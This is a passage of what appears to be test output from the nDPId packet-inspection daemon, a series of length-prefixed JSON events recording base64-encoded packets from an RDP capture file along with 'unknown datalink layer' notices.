CKIhKifXVywfJEtBxj7RlXTgGWaqa7bgp+Y6\/PVt0aI01sGHoUZQQYcEdBOz7wHr8QelrfUM3dGY6ceUVmwRmY3onqm4+ixIGbK+owMZtT5taAOs0I+mnjb8\/KMK7\/RNZQ8TijFj8aSKnoLpepd3+ZwF70HfMLavQWlf3UJpMN\/8\/kJ3GswX1wZpjDLzP\/jIurGNP0GbIZWQByqN+olWEqK9M0DNH+VQxCVSZnEzkj+lnyXcWk5y\/HGPH6kpwmEbLzu7zUTjOvtOHI2t8k4CQzs2z82jyrNcBha2fE4gIEgu3a7LKmXVocgb8z2qv3vxn0VspxdohRnSbP7ZEJcqRz3IxGVRH1PE1s\/FqXxAxxeW2uv0SyMAnLFiBmKDgGH8nvSevUBGpN43f86Vyn8zQADAld\/3wvymn52CuaMdkOZYHjXr6tT7o18YeNREktwk4ED8l39WrjOyL3XEKMU+fMkl30Z0UYYUpDZbSREupOOo4bVq3tjkRH3nBkBe9NiW\/eYMhVZmShwDc6OPa32HWdtP7FvzkM\/n596\/D\/LcgjAXgvfyEZuDV29LEVRwVHkwl8reR5flc9sdAIw\/0FcNx33Qb4n44AlX5kVixNh4Grv3QsUT828As\/x4AwZ7XZAC\/uDbSXCPOObNZCtzRRd7GuEn0aClODoV4TulcI+iZnydnEXaHMB224KvwR+2HB+lmB8shxCv\/AOn7I9WPjpzZoX6dZN5Yf57qBMT4S0P6vy5rm32QmSZoDkcGTpeRD8PrzEhZJSjMfHHSxv350wJzTRgcvYzDEsEnQtbhn1J0wFttQ4l67puGyqrzsaRXf4V3pYuMiYc1GMA57H83Gj\/lO2L3mQ29q0kXK9GfBRiD92B6wxlCXmKJNoadk9fG"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1304,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00864{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1305,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":420682,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNiKEAAfwYmLcCoAo6sEAK5DT3NDkeeuSf5vRfrUBj1L2taAADGSQFHzg8QHwtnsWcfCI84FoDnMt6Fxa7VHyCTKU6I0sOU0z0EVSL51VjyChOyiQ\/cvcKpy7rPYLuaCS4DVhu+Cr2s8ilnpe1jtUVlxn8rswpuViYxkNT\/FTft9pgERtyp7a35Fn2piPAU8LtPqD0+mcwqqfk2DRBFFEGGhHwemZ3\/TI16WoE6TF1mY\/XTIKW\/lIcG4+gbDEYcnmnpbERx6paLdH1y3z86+SEe2mCmi422CDu1D4trizOJUJMSPXaj9XKfAAR2pV6GNkZGVrvpmJutasht4IR0GQaMDLnm6eR0WTfyMsKoWDE5UfzsJDTGwG42OPozIPcp90oE9pcgXRWnJoo43OwzaRKjqb1A8P1GC3KlG6hJ6YfkoYaMdecoMGAULnv4HQLH6x\/I3EVoqObAmBRxvswJSFDVzxXzN\/4oTmnQgidT3zl8xuaCzcOtS4eId5xFYP4h4qh2y46wiy5J3veuWQoq0DOa6jDfvdpEFnF0VrelqcGn"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1305,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1306,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":420726,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9GXZHnrqiUBAf9C4gAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1306,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02072{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1307,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":420928,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFiKUAAfwYirsCoAo6sEAK5DT3NDkeeuqL5vRfrUBD1LzBXAAAXAwMGbwAAAAAAAAGnZhv0OmujNhYQXTMInc4\/DIc+igUqiSBBQAKO3wknV2ln\/031o4LF\/ROv5SKNucSFfM4hPJxOmjbfoSdSQrxhgNJWG9dCKJA1mVfkix67PcMR1l8LLYah3wZ\/Af1VivxC+EiK6tMK0y53hrUf5myOrr3ili5+vVhoPWbhjWW21aW8Hkbt7SMyh+ZwHLKgKt+F8dKqi1qIwhB3QGcO19WhrOVnwVMZnCA+3d6m9WQmLJDziBvqHudhqOzsHsSCAkZ1chNWOnOOPkUc4U4uXXMfvypwaN5awqlScz2iXDSHNNn8eBfIJGKcJ77hmCi1sretJM89EqVnhdM+AQg3733E1JIOleDjqg6g3Hew8YHnzNxo4It+J4L4Qvix2rFaGZTgDoPRVWU7\/ngX+FdwhePU6QwT560zV6P28nKnajgWxFMTYokBycv1\/7oUV1BXK0C7dO2eLzs58RRD2T0C4uJ13EHcputto5A6QelrfkR6WbmPdHQ74MJaCRqz7jnOyCSEH4WDjqiE+Z\/ICsjyTu+utig4HI8nCIbCGd1ccPyJkzolwcmxNzJW\/texEkedlmTK2YTseRfRhqu8QhN29qfJBoKtc7fbfwl7Yz5v\/nr4mWpEdXVuVyPZPYLpIKCsAP7GXsIDD5Ern5DhEeSDlgQs+LZnu2ylHqFx7lmIy9ea8rb5\/WK5oudtY\/5eHcDYsQwussfr4LGq6AGp8gW\/41CyvVrUS4jU3B9kSVC03KbUkKR9gaAYK1jKWo3f\/BMfxOUkp6LJhqM4Vh1tuZrRmd55lMKy8VkH\/gN9QeAvj4DWj2swDe4YFTr3z1b7mkfxafqGlOAxqOCb9FAITDxveZ3ptddhh5Ahw+A\/gLuTwjvbXosYNMyuBfMGKcA3MM7sPUFBGNgU6ZEoVdHnFXbpG9YxJB3HTIUr6EfZIFHkdMHptSyVZhcM4XOYzkZi9Kw55Ro++JV1pfSasRdrWNIxtziHLZhW1JxHjVoJZt7uGdvt9yL4MP6jIsJB+GWnl3HQbHcXyvEiN0SyUzppGnJUiBayVxf6A6xIPcoCLqFbtVcQcNn6EbXmayaxROPXPnsfUG\/Ur7ckDMBTMbHcSeoQrNa6KvD7iNwAQdOuVWdTdhNLCIncOjFy1Ja+9vQqNEK7WH6ISmykrKjblSGMAfAs906VgnpGAW0r6pgnrBToLLlXrV29jmaY7mkF0dr4Kz2NRZIpVvFcvGbyYjCs9JbZpzf4SFDybg3WkhC+gVYgC99X9qOOi3Bc1C0z3EoeH9X4x5zxysdVwZga9IUhuzegwumCNyk3jkLdxkWUi+mpRijtcZaJyPGyQxJNLgqwO3Dfv\/pdQ75BdTjXE0C89\/hC1VIMGPJ38keWrPbHbDCx0YRTFv0qGVC0dxAPjQR\/eG\/NfDQYuLhu1db6BRZUltid3DmhJrnpTbV+6I0TqcngxWMi6PPf7J7NM4hsHYqNR6Dx\/7ZBtjZPVa1ESagCzisPHVMk62KFzaLp90Ciz8crWquZKK0RMBBffihiuxlUTsgMKHxyh6W96qdbnBR5jUaOiFGROgCAHnRwUh3DSzauFME0b7YTSoz3SHOOWoCaXptu2w+oFEPPn0BpLTsk5YCMo5CssR7YQGfghA7w9vhh1iz9AfqGyTeZxPYhce83nxN4tApr4y0ee96LRNVRYGgu"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1307,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00865{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1308,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":421336,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNiKkAAfwYmK8CoAo6sEAK5DT3NDkeev5v5vRfrUBj1LwomAAASZtStZ+WfXGXA+9ZUDdQcw3DX8t5FwmCOQGwHyfQtoNlkD+yTkgqTMTjkJe5lLc\/WqoET2XWxa5RWBsn9d3jxygB2dNtnK4t3w0UntNlOsKnL23jSpO8xVSVlomDzoZLeDovhhq8zMsAUBHqSXx2MYUQZtU9SfdBjhvSFG0Xp\/05ZKRAMU8V+5AofotZtRLBI09bVN0sF0kQjVPIHTsZi0jPfVa4o5OFS5\/2F2FLW0LBxdxYMNv8FcKT5Z8KApNP+Nh2DDpuqS1p7wT+bXcpuSt8i9U4tsNzgD94TmzVh4mYyWO7\/Ro\/l80Lw9AeRqHReVvaRMKQVHjsRcTcysF4axLuOuyDbiHNAJu1epEgZwPojjw8NAzBYcKpf+KY8qMjf0MX2WF\/9MC9u+ikTuLEI\/StuSrYUhmrExk3IOeRhJC80qpiJzx1Rbhvu\/foQ2qFgJZlrEYVDPCV2cRz3SYrqJp+PnIDphngfthv7IPaAVv+G4mZ7vgbPeX9g"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1308,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1309,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":421405,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9GXZHnsEWUBAf9CesAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1309,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02072{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1310,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":421504,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFiK0AAfwYirMCoAo6sEAK5DT3NDkeewRb5vRfrUBD1L09HAAAXAwMGbwAAAAAAAAGozFoV9DgiYoQrwBWBuuiA\/\/GdfcmrL17vPk1veD4tl2VzxB1tdEPB+tN+glvztOGF13PdDBU4Q0jQ93sck1A3SWhuVNLGk6AF+FexiU7CkBmdMI283DS2AB2R4IsXWh3wZ72jEdBTDnsEseRk1mCZLHGtjg2kS7jHalph99kcGZnF0BENZwWwgqsdVCOK3aH324TIOH3ryolnFlh\/7EOL0Nnukco+yusZRisbw5segphfn7BBBEVxyTH4f5QOUqNA8x3q20NfPqf+GB123q8qLtcRdfuviQwjOA+SYII1Wc8eToDCYpCrR+AcRW6k0aalKVMj7T661oBF3I4ANLLuPlh1KPEM8dm46lGg7GW2LxzXyloF9eSShUt6ja37fTgynhGhpNB6sx8EDO1mi+7rsYlCbvSGQXETfTkUPVS5vEbUBi9e\/oPHrRrOvxWCe8QxrNOVdr5e+gA3VfeaxKh6XOtL7E7FMbfQPDJSMV7xZQUtEhcI7zQY89reVhDfoJ4qJ\/yrL+CSielhT5oNSW7mHpXLZu\/ykkOzTAarl0hhk5j7+12Cyq6USEoEP1bJdBvQyY5HqeDKgbHQBJLxRca3nhkTmdR9Gv6oEDlYd9ivxSaOeHoARX7yIS2lb70b6HWQYgNJ4l0rgLy0fpvuOLKQ3pYpR73cCQPIaEhJQaT5o4rUa52OMnXCGGU8S1Xcbuz+IKWMREeSzhTYdCbqYXQ5AdfsMTrfXF9dE9v+KN8BcdWoyRLINdMURGON4yqzfqAg9yLdUguZm7muwHbIV9fL+3cr+cctaA4gfn44+coWf6ZSfwHtxotMIvTziUpRc3KcnJaUsVt7SToqmil\/zEugSeq3eZQsCKH5pKNHRAytPs6KOB3Y89i8GkSlaxduwh05mhBuZlaTei\/fdyNEK\/E4p8CnXl0RiPbEpvWuEnItAYru7oEOuE9LzlR+cjW47b3dZXyO7\/aCeiSDdzPNiv1tD0eTsdisITVY7ODok0IIYWNrgbFxHn1PNH+u1D\/ocxCsxa4YpzkV2y+wtTEGj9F1BclR+C+uxxD3VBK4xjC\/Ytj5Eph6zWvXH1yoxZEoXZYPhlP6FEFL1MkJ82BF87r8QXgeVSEPWlOkSCDdZC6r5GI0ARL83vr3wXSalkyYX\/6VLp3JrS70l9Jxkov5thE28lIdGeqfUo8MVHVWFhpBamZ5vk5CM6UYYhgPiXTOtKPmCvshX\/FTS\/+XX5gwqL0IPx1d55jj5PfP+Iw5mwuBepMLIT2k1rNKQE7p7ZTMepuw0guL3AQ1d94seSy8v4SV9Tu7VzBa784s7Noriig01Zmwswa1mOispXQCq3pa\/sxSUUr+Q7GFpbEZd2xzTYXVJuBAlDKWh+i\/Sf6Xe6OgStE68aRMGup8x4+dpCGg2gNeAWv7PjjJ8CFn2RhzzFmU2t4Mti552tBYRL8bNpu91QPrmAIlI73z25SZT7z9FhLtwBwvRlxIUI3ie9d1EmEGmRA8SC5ID98RaYfnYI3oUTx3ZlLQX3d5+1hiYem90GAKPJrBiDEMVY9W501DaX+MI58Opjp6PlkwL1tm5TgQmc\/7Pc13JBsdkYhGhlxGay9tVxEPvA0rUeY\/lThLtXAoVtzqUVykB7NA2WYjstT8HItOdZ+PceY6CWfaJfb++Oo\/DWicpWGvuNmzXq\/M"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1310,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00867{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1311,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":421694,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNiLEAAfwYmKcCoAo6sEAK5DT3NDkeexg\/5vRfrUBj1L5H3AADxSD8Qtti6TScLvb9jUuiWadYkbnHpXE0OQwPlrm5\/rM\/DiZzfA3CxRnPCW9sKZSfz17wXm2aYWBgpZQ0Peio0pJDZVzOljHPZphOXngq\/CbfiVxcJVGwguDK+PoBuBAWCbdImoYpybKjeEBeuqT0w2c+f8wUr6B8Ry3AbNOepFVV+ZyYyHHbG0GmOXFUXOITPV+IG+c0ULK68FB8zBB0PGAz7Rk90LtGeFfDDDuCMJJ5p4Gllxg1YI6cYqfEvTZMhvSPr2ChnTDAg6tryWOM1WejCm9gQIwRzMUimirorKcdmNKN7f0JOK2B0bW+VbsAqK1Am8kZ9HUbxLv4GjQawhfGbgR\/37JCVvwgGjhw8kkvY1TlS0StG\/NwfeCLQJ\/pCMzLEeUDTjYzX1J1\/dI+B0vZBTf8OClkPVg9ZVCn71xb6bmaaNn9dfeDyWILUlU3cRKn8G\/GkHHYUOHBl\/mCx0IMJQsHiiCr97WabriGvys0tcvBoJiSLVDyu"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1311,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1312,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":421741,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9GXZHnseKUBAf9CE4AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1312,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1313,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":421845,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1iLUAAfwYnbsCoAo6sEAK5DT3NDkeex4r5vRfrUBj1L7geAAAXAwMAMAAAAAAAAAGp+35A9aTk6OjjgvgSRSKHwXEmgUJoFFmAxOf91kase+MkHt2DYGsYjQ=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1313,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00353{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1314,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":421886,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9GXZHnse\/UBAf\/iD5AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1314,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00425{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1315,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":422120,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9GXZHnse\/UBggADZnAAAXAwMAMOAIO32NJwwUdcVGMBSxtnXt87sNltCG2yb\/3a+V7v4rhqA9Th4vHDDJpz+PvVfvbQ=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1315,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02073{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1316,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":432669,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFiLkAAfwYiqcCoAo6sEAK5DT3NDkeex7\/5vRfrUBD1LwolAAAXAwMGbwAAAAAAAAGqrEnL4TeYignnCs9jCslInuXqj0YEippmNcReBlo6Kdj0JqbkT\/f+Ym3eCGjlJbPLxDJbgTevQBA\/IgA4fvwm4LLaclXCiQLjQ8CXpqUE78+F+4bEtuYnjzEecPg5reNca0azb4dMd1uDBgCfVaaAM4VyQJm69yDP1xYh5ScVJOKqfHVAw5XsKQu1Id0qFrJM55FlxW24jGWxfAcme9JRF8\/8XR\/IRYFkctx7o0nmPZIE+E9c\/gnRIpMu7xXlfa6tdv76O5i5VKppmBtmK79MleuTqSopNjMumO364WkHYUDj2hd9LAfSwxs3drO2iVL9iKsRSrIxVLQ+fVwbca2Ug+d6d1Xnk1Vd2UpvaqtWeR9boD\/YaZnXpUxSb+c3ZTMNQTKB0a21Iy0ubTZrTfyX+FOH58iapqeXCnuf0lmZa+fcXAew+LdwyfQ6UKbqe+O9Br2FTxVOkS5gBFxqjEwwo0Stevv0FErtatTrgKUieqZO10c8ax\/gzZnGV+aS93JGPI+OX2hKaPRGE01\/z4bDkEZZVz29Qb4ZlA5EQSI9\/5J3sEI+lceN8PEKXPBSH0UzYhwH+976Eu4loEmWw9LmXPibzAgULEkcPzMozTJOx2QkIrVfASHHhn+JfXFfHtGxLV7Tg1l0gGf\/4iy0dxm2FNw\/CQCzSyTNrxdq5NKezvSIwZcNAWkxfGNdYzLghU7YbuoEfUm+5amhdsVh9BTJl7BTaz3VbDTK9Ej2TvfpWe16c3kHngdxKy7ewnbm67Q\/dI3R0tm68DNVGP3efTtbkm\/HEx6BWI3j9dcSTV2t4JO0H+nyzEC01OsrSrqP4I95ynK5lY85nz8wwXkb8yagC2ic0nYGXwFDxe855DgNpRdUABCEeIUqcYQuVQ6sJXAj1I0eQcq1PfpfiLB0nvou1OUAsKV1g8eR91XCrQo1UPyBMcnWS3IZQTGQF0gajekyUCBoXuDUnNyfX2YHds63ptUB3+GvWqz4rVMbiX7ZuqrIilTY4ZIPZudu95HgBkkM8GJSFES+\/GmsUaNN7lUXPfHeSpd8kp5MLC\/0cKg4GldYDb1C\/LNa0Turd1lU7bN90AyA31O7FySkX0tC156EWRyJMuaJ5chJKQpLUEdsmAGUfTCR0+Xrf1c+eGQEPPIKhl5lptBaVp3yFBxilXpQN9nsZrLYr8WrKYW32K0+OZ\/1QGya2z99rZJ7CuGDH\/lPf1BKQEv3UbmapdrCX0kEtJ+fzXYsO8LHZiCNQYSqCuTk8e8+ynRH8gTJqRgCUHhWxuYLCDamsgGhWOrKje5aBkJ3jsCpDVDKkr3Sh8AV0vo1UBkbIqRk1f3dT3iFZK17yzeE3VugYbMlALzKp3GGRFSUHqnyqpyH7uPYkqag9mBMAXfF9LzYIvbkVAvNCMQk+n6ZB3MJ+g7kApXDYZXJqBzRakQB9SZCxzKzSldu7d377mjfOgMWHQtTSkhMcTjgteLfkmsM+OqaKKnMR+p40Nyq8qZRuKovp04G6DdDlFo2Em884voEgSkaats3vCNCg2WQj+3ig9O5\/6SYsrVwJTNlu7W4vKVLeHFTCpRZYjHq6+A2O9n+ES54tq05rEg1mdIM5d4DIOWZhZgnu2fkJWGQrCIRlaAIP7ml3JArqGh0wbRO3XIu\/fOoeUcIZVk3w5tC4JSUXHI\/woS4"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1316,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00864{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1317,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":432703,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNiL0AAfwYmJsCoAo6sEAK5DT3NDkeezLj5vRfrUBj1Lw9cAADp+RG5yPux3byCZYQ6cnv7mnF3GyIoV+zwp0qDgPy50T5GniEwiMcSzq1l5yv2PChr2mOtp+BGMwedc0eS6zBtlPcKgkwWU4us1DeJTjgE7HE\/apJ5sRJ3F0CNEUA728RktQh4L9y1gdllIvSCtdDYRybWEaZ9a1Q75mnNFWGWS7xkDhzuOqQBgsl\/7yy+MgNbDhM6P\/5zbtr\/Lg+n7bPGOsjgF209g+fZa\/cyVvlcV0HOiz82V2u1M0yZdUCnQeXRfK8rLpT09XTFpJxaWfHOjwiFFpgG3Hfr8HM2OeWoM0bwHAhw+uKNgODH8lWFpxf22JyqvU8\/zFog7HE\/fb5KwKBYx7xSd7ujAk5Zx0p1LWNNWf4eD2QP9l+i+driahGpgvuBz2FRyi9AR9aYYhLsS1e78XoedXljAFJ5SXgidwpaiXMkFy6lhqmSmo7qINZAZgXV6KNf2b906I4NzgF1O+VNQNiC0Qq7vXlsNoBvohZnmR50myTQApGY"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1317,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1318,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":432767,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9GatHns4zUBAfzBqCAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1318,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1319,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":432855,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1iMEAAfwYna8CoAo6sEAK5DT3NDkeezjP5vRfrUBj1L+FfAAAXAwMAMAAAAAAAAAGrEv5r8jtYaDzERajYbnPSF2Zvdv6BBZES9S97hRO9rMPrVO9OYVUPjA=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1319,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1320,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":433027,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChiMUAAfwYnn8CoAo6sEAK5DT3NDkeezmj5vRggUBD6AEGjAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1320,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1321,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":433071,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9GatHns5oUBAf\/hobAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1321,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1322,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":433212,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChiMkAAfwYnnsCoAo6sEAK5DT3NDkeezmj5vRhdUBD5w0GjAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1322,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1323,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":433253,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9GatHns5oUBggAKI0AAAXAwMAOOAIO32NJwwV7HgaAA7so55Fyb+nAZcI2LXmBxInxlV4l2rGhDGb5\/+yTeDjHOQnUlHBK5EU\/wME"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1323,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1324,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":433330,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChiM0AAfwYnncCoAo6sEAK5DT3NDkeezmj5vRjPUBD5UUGjAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1324,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1325,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":433423,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChiNEAAfwYnnMCoAo6sEAK5DT3NDkeezmj5vRlBUBD430GjAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1325,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} 